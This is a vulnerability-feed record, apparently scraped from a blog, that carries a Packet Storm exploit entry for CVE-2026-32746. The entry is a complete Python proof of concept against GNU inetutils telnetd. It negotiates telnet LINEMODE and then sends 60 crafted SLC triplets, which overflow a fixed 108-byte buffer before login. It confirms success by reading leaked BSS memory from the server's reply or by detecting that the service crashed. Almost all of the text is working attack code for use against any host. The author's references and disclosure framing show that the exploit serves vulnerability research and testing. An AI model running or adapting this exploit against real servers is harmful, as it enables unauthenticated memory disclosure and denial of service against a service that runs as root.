{“lastseen”:”2026-05-08T18:05:18″,”description”:”telnetd version 2.7 addslc remote buffer overflow exploit that achieves root…”,”published”:”2026-05-08T00:00:00″,”modified”:”2026-05-08T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 telnetd 2.7 Buffer Overflow”,”source”:””,”references”:””,”id”:”PACKETSTORM:220575″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-32746″],”sourceData”:”# Exploit Title: telnetd 2.7 – Buffer Overflow\\n # Google Dork: N\/A\\n # Date: 2026-04-03\\n # Exploit Author: Jeff Barron (jeffaf)\\n # Vendor Homepage: https:\/\/www.gnu.org\/software\/inetutils\/\\n # Software Link: https:\/\/ftp.gnu.org\/gnu\/inetutils\/\\n # Version: inetutils-telnetd through 2.7 (patch pending in next release)\\n # Tested on: Debian Linux (inetutils-telnetd 2.4 under xinetd, Docker lab)\\n # CVE: CVE-2026-32746\\n # CVSS: 9.8 (AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H)\\n #\\n # References:\\n # DREAM Advisory: https:\/\/dreamgroup.com\/vulnerability-advisory-pre-auth-remote-code-execution-via-buffer-overflow-in-telnetd-linemode-slc-handler\/\\n # WatchTowr: https:\/\/labs.watchtowr.com\/\\n # GNU Disclosure: https:\/\/lists.gnu.org\/archive\/html\/bug-inetutils\/2026-03\/msg00031.html\\n # Fix (PR #17): https:\/\/codeberg.org\/inetutils\/inetutils\/pulls\/17\\n # NVD: https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2026-32746\\n #\\n # Notes:\\n # The add_slc() function in telnetd\/slc.c appends 3 bytes per SLC triplet to a\\n # fixed 108-byte buffer (slcbuf) with no bounds checking. Sending a crafted\\n # LINEMODE SLC suboption with 40+ triplets (function codes \\u003e NSLC\/18) during\\n # initial option negotiation — before any login prompt — overflows slcbuf,\\n # corrupts the slcptr pointer, and leaks adjacent BSS data in the server\\n # response. telnetd runs as root via inetd\/xinetd; the vendor advisory (DREAM\\n # Security, Advisory ID: VULN-TELNETD-SLC-2025, published 2026-03-13) confirms\\n # full pre-auth RCE as root is achievable. This PoC demonstrates and verifies\\n # the overflow via response analysis (BSS leak in server reply). It does NOT\\n # include shellcode or a ROP chain. Full exploitation analysis including byte\\n # constraints, alignment techniques, and the def_slcbuf\/free() primitive on\\n # 32-bit systems is covered in the WatchTowr writeup linked above.\\n # Docker lab: https:\/\/github.com\/jeffaf\/cve-2026-32746\\n #\\n # Vulnerability discovered by: Adiel Sol, Arad Inbar, Erez Cohen, Nir Somech,\\n # Ben Grinberg, Daniel Lubel (Dream Security Research Labs). Disclosed 2026-03-13.\\n # This is an independent PoC implementation.\\n \\n \\”\\”\\”\\n CVE-2026-32746 – telnetd LINEMODE SLC Buffer Overflow PoC\\n ==========================================================\\n \\n Triggers an out-of-bounds write in GNU InetUtils telnetd’s SLC handler\\n by sending a crafted LINEMODE SLC suboption with excess triplets.\\n \\n The overflow corrupts the slcptr pointer in BSS. When end_slc() runs,\\n it writes via the corrupted pointer. The server’s SLC response contains\\n the overflow data (leaked BSS bytes), providing direct proof.\\n \\n This PoC demonstrates and verifies the overflow via response analysis.\\n It does NOT achieve code execution.\\n \\n Usage:\\n python3 exploit.py \\u003ctarget_ip\\u003e [port]\\n \\n For authorized security testing only.\\n \\”\\”\\”\\n \\n import argparse\\n import socket\\n import sys\\n import time\\n \\n # Telnet protocol bytes\\n IAC = 0xFF\\n DONT = 0xFE\\n DO = 0xFD\\n WONT = 0xFC\\n WILL = 0xFB\\n SB = 0xFA\\n SE = 0xF0\\n \\n # Options\\n OPT_ECHO = 0x01\\n OPT_SGA = 0x03\\n OPT_TTYPE = 0x18 # 24\\n OPT_TSPEED = 0x20 # 32\\n OPT_LINEMODE = 0x22 # 34\\n OPT_XDISPLOC = 0x23 # 35\\n OPT_OLD_ENVIRON = 0x24 # 36\\n OPT_NEW_ENVIRON = 0x27 # 39\\n OPT_NAWS = 0x1F # 31\\n \\n # LINEMODE suboption codes\\n LM_SLC = 0x03\\n \\n # SLC constants from source\\n NSLC = 18 # Number of defined SLC functions\\n \\n # Buffer geometry\\n SLCBUF_SIZE = 108 # Total slcbuf allocation\\n SLCBUF_USABLE = 104 # Usable after 4-byte header (IAC SB LINEMODE SLC)\\n \\n \\n def recv_all(s, timeout=2):\\n \\”\\”\\”Receive all available data with a timeout.\\”\\”\\”\\n s.settimeout(timeout)\\n chunks = []\\n try:\\n while True:\\n chunk = s.recv(4096)\\n if not chunk:\\n break\\n chunks.append(chunk)\\n except socket.timeout:\\n pass\\n return b”.join(chunks)\\n \\n \\n def negotiate_linemode(s):\\n \\”\\”\\”Complete telnet negotiation and enter LINEMODE.\\n \\n Full negotiation is required: the server only processes SLC and\\n returns responses after all expected suboptions (TTYPE, TSPEED,\\n XDISPLOC, NEW_ENVIRON, NAWS) have been received.\\n \\”\\”\\”\\n # Round 1: Read server’s initial option offers\\n print(\\”[*] Phase 1: Reading server negotiation…\\”)\\n time.sleep(1)\\n \\n try:\\n data = recv_all(s)\\n except ConnectionResetError:\\n # Server closed connection before we could send or receive\\n print(f\\”[-] Connection reset during negotiation\\”)\\n return False\\n \\n if not data:\\n print(\\”[-] No negotiation data received\\”)\\n return False\\n \\n print(f\\” Received {len(data)} bytes of negotiation\\”)\\n \\n # Build responses: accept everything, add WILL LINEMODE\\n resp = bytearray()\\n i = 0\\n while i \\u003c len(data) – 2:\\n if data[i] == IAC:\\n cmd = data[i + 1]\\n opt = data[i + 2]\\n if cmd == DO:\\n resp.extend([IAC, WILL, opt])\\n elif cmd == WILL:\\n resp.extend([IAC, DO, opt])\\n i += 3\\n else:\\n i += 1\\n \\n # Proactively offer LINEMODE (triggers server’s SLC handler)\\n resp.extend([IAC, WILL, OPT_LINEMODE])\\n \\n # Required suboption responses – server stalls without these\\n resp.extend([IAC, SB, OPT_TTYPE, 0x00])\\n resp.extend(b’xterm’)\\n resp.extend([IAC, SE])\\n \\n resp.extend([IAC, SB, OPT_TSPEED, 0x00])\\n resp.extend(b’38400,38400′)\\n resp.extend([IAC, SE])\\n \\n resp.extend([IAC, SB, OPT_XDISPLOC, 0x00])\\n resp.extend(b’:0′)\\n resp.extend([IAC, SE])\\n \\n resp.extend([IAC, SB, OPT_NEW_ENVIRON, 0x00, IAC, SE])\\n resp.extend([IAC, SB, OPT_OLD_ENVIRON, 0x00, IAC, SE])\\n \\n s.send(resp)\\n print(f\\” Sent {len(resp)} bytes (negotiation + WILL LINEMODE)\\”)\\n \\n # Round 2: Server sends DO LINEMODE + additional option requests\\n print(\\”[*] Phase 2: Completing negotiation…\\”)\\n time.sleep(1)\\n data2 = recv_all(s, timeout=3)\\n \\n if not data2:\\n print(\\”[-] No response to LINEMODE offer\\”)\\n return False\\n \\n got_linemode = False\\n resp2 = bytearray()\\n i = 0\\n while i \\u003c len(data2) – 2:\\n if data2[i] == IAC:\\n cmd = data2[i + 1]\\n if cmd == SB:\\n # Find end of suboption\\n j = i + 2\\n while j \\u003c len(data2) – 1:\\n if data2[j] == IAC and data2[j + 1] == SE:\\n break\\n j += 1\\n opt = data2[i + 2]\\n if opt == OPT_TTYPE and i + 3 \\u003c len(data2) and data2[i + 3] == 0x01:\\n resp2.extend([IAC, SB, OPT_TTYPE, 0x00])\\n resp2.extend(b’xterm’)\\n resp2.extend([IAC, SE])\\n elif opt == OPT_NEW_ENVIRON:\\n resp2.extend([IAC, SB, OPT_NEW_ENVIRON, 0x00, IAC, SE])\\n i = j + 2\\n elif cmd == DO:\\n opt = data2[i + 2]\\n if opt == OPT_LINEMODE:\\n got_linemode = True\\n resp2.extend([IAC, WILL, opt])\\n if opt == OPT_NAWS:\\n resp2.extend([IAC, SB, OPT_NAWS,\\n 0x00, 0x50, 0x00, 0x18, IAC, SE])\\n i += 3\\n elif cmd == WILL:\\n resp2.extend([IAC, DO, data2[i + 2]])\\n i += 3\\n elif cmd in (DONT, WONT):\\n i += 3\\n else:\\n i += 2\\n else:\\n i += 1\\n \\n if resp2:\\n s.send(resp2)\\n \\n if got_linemode:\\n print(\\”[+] Server accepted LINEMODE (DO LINEMODE received)\\”)\\n else:\\n print(\\”[-] Server did not accept LINEMODE\\”)\\n print(\\” This may not be GNU InetUtils telnetd\\”)\\n return False\\n \\n # Round 3: Wait for terminal setup and login prompt\\n # Server sends SLC defaults + login prompt after full negotiation\\n time.sleep(3)\\n data3 = recv_all(s, timeout=5)\\n if data3:\\n # Respond to any remaining option requests\\n resp3 = bytearray()\\n i = 0\\n while i \\u003c len(data3) – 2:\\n if data3[i] == IAC:\\n cmd = data3[i + 1]\\n if cmd == DO:\\n resp3.extend([IAC, WILL, data3[i + 2]])\\n i += 3\\n elif cmd == WILL:\\n resp3.extend([IAC, DO, data3[i + 2]])\\n i += 3\\n elif cmd == SB:\\n j = i + 2\\n while j \\u003c len(data3) – 1:\\n if data3[j] == IAC and data3[j + 1] == SE:\\n break\\n j += 1\\n i = j + 2\\n else:\\n i += 3 if cmd in (DONT, WONT) else i + 2\\n else:\\n i += 1\\n if resp3:\\n s.send(resp3)\\n \\n return True\\n \\n \\n def build_slc_payload(num_triplets):\\n \\”\\”\\”Build a malicious SLC suboption with overflow triplets.\\n \\n Each triplet has a function code \\u003e NSLC (18), which forces\\n add_slc() to queue a \\”not supported\\” reply. After ~35 triplets,\\n the 104-byte response buffer overflows.\\n \\n Buffer math:\\n slcbuf = 108 bytes total\\n Header = 4 bytes (IAC SB LINEMODE LM_SLC)\\n Usable = 104 bytes\\n Per triplet reply = 3 bytes\\n Overflow at: 104 \/ 3 = ~34.6 -\\u003e triplet 35\\n \\”\\”\\”\\n payload = bytearray()\\n \\n # Suboption header: IAC SB LINEMODE LM_SLC\\n payload.extend([IAC, SB, OPT_LINEMODE, LM_SLC])\\n \\n # SLC triplets: (function, flags, value)\\n # function \\u003e NSLC triggers the vulnerable add_slc() path\\n for i in range(num_triplets):\\n func = NSLC + 1 + i\\n if func \\u003e= IAC: # Can’t use 0xFF (IAC) in data\\n func = 0xFE\\n payload.extend([func, 0x02, 0x00]) # flag=SLC_NOSUPPORT, value=0\\n \\n # Suboption trailer: IAC SE\\n payload.extend([IAC, SE])\\n \\n return payload\\n \\n \\n def find_slc_response(data):\\n \\”\\”\\”Extract SLC suboption body from telnet data.\\n \\n Returns the SLC body bytes (between header and IAC SE),\\n or None if no SLC suboption found.\\n \\”\\”\\”\\n i = 0\\n while i \\u003c len(data) – 3:\\n if (data[i] == IAC and data[i + 1] == SB and\\n data[i + 2] == OPT_LINEMODE and\\n i + 3 \\u003c len(data) and data[i + 3] == LM_SLC):\\n # Found SLC suboption, extract body until IAC SE\\n k = i + 4\\n while k \\u003c len(data) – 1:\\n if data[k] == IAC and data[k + 1] == SE:\\n return data[i + 4:k]\\n k += 1\\n # Unterminated – return what we have\\n return data[i + 4:]\\n i += 1\\n return None\\n \\n \\n def check_service_alive(host, port):\\n \\”\\”\\”Verify service state with a fresh connection.\\”\\”\\”\\n try:\\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\\n s.settimeout(5)\\n s.connect((host, port))\\n probe = recv_all(s, timeout=3)\\n s.close()\\n return True, len(probe)\\n except (socket.error, OSError):\\n return False, 0\\n \\n \\n def exploit(host, port, triplets, timeout):\\n \\”\\”\\”Send the SLC overflow payload and verify via response analysis.\\”\\”\\”\\n \\n print(f\\”\\\\n{‘=’ * 60}\\”)\\n print(f\\” CVE-2026-32746 – telnetd SLC Buffer Overflow PoC\\”)\\n print(f\\”{‘=’ * 60}\\”)\\n print(f\\” Target: {host}:{port}\\”)\\n print(f\\” Triplets: {triplets} (overflow at ~35)\\”)\\n print(f\\”{‘=’ * 60}\\\\n\\”)\\n \\n # Connect\\n try:\\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\\n s.settimeout(timeout)\\n s.connect((host, port))\\n print(f\\”[+] Connected to {host}:{port}\\”)\\n except (socket.error, OSError) as e:\\n print(f\\”[-] Connection failed: {e}\\”)\\n return False\\n \\n # Negotiate into LINEMODE\\n if not negotiate_linemode(s):\\n print(\\”\\\\n[-] Failed to enter LINEMODE – cannot trigger vulnerability\\”)\\n s.close()\\n return False\\n \\n # Build and send the overflow payload\\n payload = build_slc_payload(triplets)\\n data_bytes = triplets * 3\\n overflow_bytes = data_bytes – SLCBUF_USABLE\\n print(f\\”\\\\n[*] Phase 3: Sending malicious SLC suboption\\”)\\n print(f\\” Payload size: {len(payload)} bytes\\”)\\n print(f\\” SLC triplets: {triplets}\\”)\\n print(f\\” Buffer size: {SLCBUF_USABLE} bytes (usable)\\”)\\n print(f\\” Data written: {data_bytes} bytes\\”)\\n print(f\\” Overflow: {overflow_bytes} bytes past buffer end\\”)\\n \\n try:\\n s.send(payload)\\n print(f\\”[+] Payload sent\\”)\\n except (BrokenPipeError, ConnectionResetError):\\n print(\\”[+] Connection reset during send – server crashed\\”)\\n s.close()\\n return True\\n \\n # Phase 4: Verify overflow via SLC response analysis\\n print(f\\”\\\\n[*] Phase 4: Analyzing server response…\\”)\\n time.sleep(2)\\n \\n overflow_confirmed = False\\n crash_detected = False\\n \\n try:\\n resp = recv_all(s, timeout=3)\\n if resp:\\n slc_body = find_slc_response(resp)\\n if slc_body is not None:\\n print(f\\” SLC response body: {len(slc_body)} bytes\\”)\\n print(f\\” Expected (no overflow): {SLCBUF_USABLE} bytes max\\”)\\n \\n if len(slc_body) \\u003e SLCBUF_USABLE:\\n leak_count = len(slc_body) – SLCBUF_USABLE\\n overflow_confirmed = True\\n print(f\\”[+] OVERFLOW CONFIRMED: {leak_count} bytes past buffer boundary\\”)\\n print(f\\” Server response contains leaked BSS memory\\”)\\n \\n # Show leaked data\\n leaked = slc_body[SLCBUF_USABLE:]\\n hex_dump = ‘ ‘.join(f'{b:02x}’ for b in leaked[:48])\\n print(f\\” Leaked BSS: {hex_dump}\\”\\n f\\”{‘…’ if len(leaked) \\u003e 48 else ”}\\”)\\n elif len(slc_body) == data_bytes:\\n # Server wrote all triplet data without truncation\\n overflow_confirmed = True\\n print(f\\”[+] OVERFLOW CONFIRMED: server wrote {len(slc_body)} bytes \\”\\n f\\”into {SLCBUF_USABLE}-byte buffer\\”)\\n else:\\n print(f\\”[!] SLC response within buffer bounds ({len(slc_body)} bytes)\\”)\\n else:\\n print(f\\”[!] Server responded ({len(resp)} bytes) but no SLC suboption found\\”)\\n else:\\n print(\\”[!] No response data received\\”)\\n except (ConnectionResetError, BrokenPipeError, OSError) as e:\\n print(f\\”[+] Connection error after payload: {e}\\”)\\n crash_detected = True\\n \\n s.close()\\n \\n # Verify service state regardless of response analysis\\n if not overflow_confirmed and not crash_detected:\\n print(\\”\\\\n[*] Checking service state with fresh connection…\\”)\\n alive, probe_len = check_service_alive(host, port)\\n if alive:\\n print(f\\”[*] Service still running ({probe_len} bytes on connect)\\”)\\n print(\\”[!] Overflow could not be verified via response analysis\\”)\\n print(\\” Server may require additional negotiation steps,\\”)\\n print(\\” or this telnetd version may not be vulnerable\\”)\\n else:\\n print(\\”[+] Service is DOWN after payload – crash confirmed\\”)\\n crash_detected = True\\n \\n # Final verdict\\n if overflow_confirmed:\\n print(f\\”\\\\n[+] VULNERABLE – CVE-2026-32746 confirmed\\”)\\n print(f\\” Out-of-bounds write in SLC handler verified\\”)\\n print(f\\” Server response proves buffer overflow occurred\\”)\\n return True\\n elif crash_detected:\\n print(f\\”\\\\n[+] VULNERABLE – CVE-2026-32746 (crash)\\”)\\n print(f\\” Server process terminated after overflow payload\\”)\\n return True\\n else:\\n print(f\\”\\\\n[-] Could not confirm vulnerability\\”)\\n return False\\n \\n \\n def main():\\n parser = argparse.ArgumentParser(\\n description=\\”CVE-2026-32746 – telnetd SLC Buffer Overflow PoC\\”,\\n epilog=\\”For authorized security testing only.\\”\\n )\\n parser.add_argument(\\”host\\”, help=\\”Target IP address\\”)\\n parser.add_argument(\\”port\\”, type=int, nargs=\\”?\\”, default=23,\\n help=\\”Target port (default: 23)\\”)\\n parser.add_argument(\\”-n\\”, \\”–triplets\\”, type=int, default=60,\\n help=\\”Number of SLC triplets to send (default: 60, overflow at ~35)\\”)\\n parser.add_argument(\\”-t\\”, \\”–timeout\\”, type=int, default=10,\\n help=\\”Socket timeout in seconds (default: 10)\\”)\\n args = parser.parse_args()\\n \\n success = exploit(args.host, args.port, args.triplets, args.timeout)\\n \\n sys.exit(0 if success else 1)\\n \\n \\n if __name__ == \\”__main__\\”:\\n main()”,”sourceHref”:”https:\/\/packetstorm.news\/download\/220575″,”cvss”:{“score”:9.8,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/220575\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-05-08T18:05:18″,”description”:”telnetd version 2.7 addslc remote buffer overflow exploit that achieves root…”,”published”:”2026-05-08T00:00:00″,”modified”:”2026-05-08T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 telnetd 2.7 Buffer Overflow”,”source”:””,”references”:””,”id”:”PACKETSTORM:220575″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-32746″],”sourceData”:”# Exploit Title: telnetd 2.7 – Buffer Overflow\\n # Google Dork:…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-52563","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n